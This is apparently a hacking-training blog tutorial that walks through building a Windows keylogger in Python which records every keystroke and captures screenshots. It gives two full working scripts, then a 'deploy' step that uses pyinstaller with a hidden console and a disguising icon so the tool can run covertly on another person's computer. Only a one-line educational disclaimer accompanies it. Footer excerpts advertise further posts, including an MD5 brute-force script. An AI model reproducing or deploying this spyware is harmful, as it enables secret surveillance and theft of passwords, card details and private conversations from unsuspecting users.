Skip to main content

How to Create Key-logger with Capture Screenshot using Python


Python Blog #Author: ManishHacker1

Hi guys, Today we will learn about how to create basic keylogger with capture screenshot using Python Programming.

What is Keylogger?

Keylogger is a simple software program or hardware device that is used to monitor or record our real time activity of a computer including every keystroke made by a computer user without any notice of the computer user. The keystrokes will be stored in a log file and saved in a hiddin location and send to the person who managed to infect your PC. Keylogger are designed to steal sensitive information such as username and password, credit card details, or your privet conversation.

Requirement to create a Keylogger with screenshot using Python

  • Python must be installed on the system
  • pyHook and pythoncom: pyHook library allows us to hook the keyboard and mouse.
  • win32gui: Is a window module
  • time: Import time
  • datetime: For date and time
  • os : Using for operation system operation
  • sys: Using for system funtion
  • autopy: Using for screenshot capture

Setup our Environment

  1. Create a directory 'log' in your hard drive where you want to store your log file.
  2. After that create a 'log' directory we will also create a output.txt file where all keystrokes will be save.

For Example: I did create a directory in c:\ drive, whose name is log.
After that i did create a output.txt file in 'log' directory where all keystrokes will be store.

After that download and install pyhook repository file from the link below. Download:Download pyhook Here

if you want to more about pyhook functionality. Please click below link. Source:pyhook Documentation

After that download and install win32api file from the link below. Source win32api:Download win32api

After that download autopy python package for screenshot. Source win32api:Download autopy

Now we have download all module for keylogger. In next step, we will do code for keylogger.

Step For Coding

  1. Import all module
  2. After that setting up the path for the log file, where these keystrokes will be store.
  3. Ater that define the OnKeyboardEvent funtion.

Full code:


import win32api
import win32console
import win32gui
import pythoncom,pyHook
import sys
import autopy

def OnKeyboardEvent(event):
    if event.Ascii==5:
        sys.exit()
    if event.Ascii !=0 or 8:
        f=open('c:\log\output1.txt','r+')
        buffer=f.read()
        f.close()
        f=open('c:\log\output1.txt','w')
        #the code below for a captur screenshot
        bitmap = autopy.bitmap.capture_screen()
        bitmap.save('C:\log\Keylog.png')
        keylogs=chr(event.Ascii)
        if event.Ascii==13:
            keylogs='/n'
        buffer+=keylogs
        f.write(buffer)
        f.close()
#the code below define the hook manager
hm=pyHook.HookManager()
#The code below listen to all keystrokes
hm.KeyDown=OnKeyboardEvent
#Hook the Keyboard
hm.HookKeyboard()
#For start new session
pythoncom.PumpMessages()

Save as "Anyname.py" and run.
The above keylogger code save all keystrokes your keyboard and take screenshot. But problem is that the above code only take the last screenshot capture and save.
If you want to take all screenshot capture then run the below code.


import os
import win32api
import win32console
import win32gui
import pythoncom,pyHook
import sys
import autopy
import time
import datetime



def OnKeyboardEvent(event):
    if event.Ascii==5:
        sys.exit()
    if event.Ascii !=0 or 8:
        f=open('c:\log\output1.txt','r+')
        buffer=f.read()
        f.close()
        f=open('c:\log\output1.txt','w')
        keylogs=chr(event.Ascii)
        if event.Ascii==13:
            keylogs='/n'
        buffer+=keylogs
        f.write(buffer)
        f.close()
        date_time = time.time()
        img = autopy.bitmap.capture_screen()
        SAVE_PATH = "c:\log"
        LOGFILE_NAME = "%s.png" % date_time
        LOGFILE_PATH = os.path.join(SAVE_PATH,LOGFILE_NAME)
        img.save(LOGFILE_PATH)
      

hm=pyHook.HookManager()
hm.KeyDown=OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

Save Anyname.py and run.

Now the Deploy

Well, we have done all work for key-logger. But problem is that our client computer might not have all these modules and python installed, so we are going to use pyinstaller to convert it to an exe file so we can easily run it on their computer.

Now, We will be download pyinstaller using pip. Open your command prompt and type:


c:\Users\Administrator>cd\      and hit enter
c:\>cd Python27      and hit enter
c:\Python27>cd Scripts     and hit enter
c:\Python27\Scripts>pip install pyinstaller         and hit enter

After installation pyinstaller, Go to your program’s directory and run:

pyinstaller keylogger.py --onefile --noconsole --ico=anyimage.ico keylogger.py

  • --onefile -> to make it just a single executable
  • --noconsole -> to prevent a console window from popping up
  • --ico -> .ico image to make it more convincing

The above program is only for education purpose. Please do not illegal activity.

Thank You for reading this article.I hope you enjoyed it. If any query please comment. And also like my FB page givin below link and share it.

Kryptora Digital Security Provided Python Training and Ethical Hacking Training
  • Best Python Training in Noida
  • Best Python Training in Delhi
  • Best Python Training in Meerut
  • Best Python Training in India
  • Best Ethical Hacking Training in Noida
  • Best Ethical Hacking Training in Delhi
  • Best Ethical Hacking Training in Meerut
  • Best Ethical Hacking Training in India

Follow ManishHacker1

Comments

Popular posts from this blog

How to create Folder Lock with Password Protected using Python

Amazon.in Widgets Python Blog #Author: ManishHacker1 Hello guys, Today we will be learn how to create folder lock with password protected using Python programming language. What is Folder Lock? Folder Lock is a data security software that is allows its users to encrypt thier files and folder. Lock, hide and password protects files and folder on your computer. You can use Folder Lock to secure your files and folder on windows. So, I am going to tell you how to make your own Folder Lock, without using any software. Pre-Reuisites: You will need only pyhton installed in your operating system. if you want to distribute your Folder Lock then you will be also need pyinstaller using to convert our python file to .exe file. Compatibility: Compatible with any Microsoft Windows Operating system. Instructions: First open your python IDE or Notepad, where you want to write code. If you use to notepad please remember indentation using to write code. Or copy th...

How to Connect Window Machine to Linux Machine Using Python via SSH

Python Secret #Author: ManishHacker1 Hello everyone, This is my another article about SSH connectivity to the client machine. In my previous article we have some trouble using pxssh module on windows machine. That's why I am writing another article for the SSH connection. In this article we will use paramiko module to connect another machine. This is fully supported windows, Mac and Linux machine users. In this article, I will show you how to use Paramiko SSH (a Python SSH library) to connect and gather information from another Machine. What is Paramiko? Paramiko is a Python (2.6+, 3.3+) implementation of the SSHv2 protocol [1], providing both client and server functionality. While it leverages a Python C extension for low level cryptography (Cryptography), Paramiko itself is a pure Python interface around SSH networking concepts. Read Full Documentation Let start our demonstration: Requirment: Paramiko( For SSH connection) How to Install paramilko modu...

How to Create MD5 Brute Force Script Using Python

Python Secret #Author: ManishHacker1 How to Create MD5 Brute Force Script Using Python Hello guys, Today we will be learn How to create MD5 brute force script using Python. What is brute-force Attack? Brute-force attack also known exhaustive key search Process of checking all possible keys Using a dictionary to attack with Dictionary is usually more effective than searching the whole key space. Exponentially grow with increasing key size. Brute force Attack Limit Because time/energy required to crack a key grows exponentially with key size, encryption in today's standards and computing power are safe brute-force attack. A 256 bit key would take on 50 of today's super computer 3x10^51 years What is Dictionary Attack Much faster than a whole key space search Not guaranteed Commonaly used on passwords Dictionaries can be found online A popular one is darkc0de.lst Good to run before a big dictionary like darkc0de. Can eliminate the most com...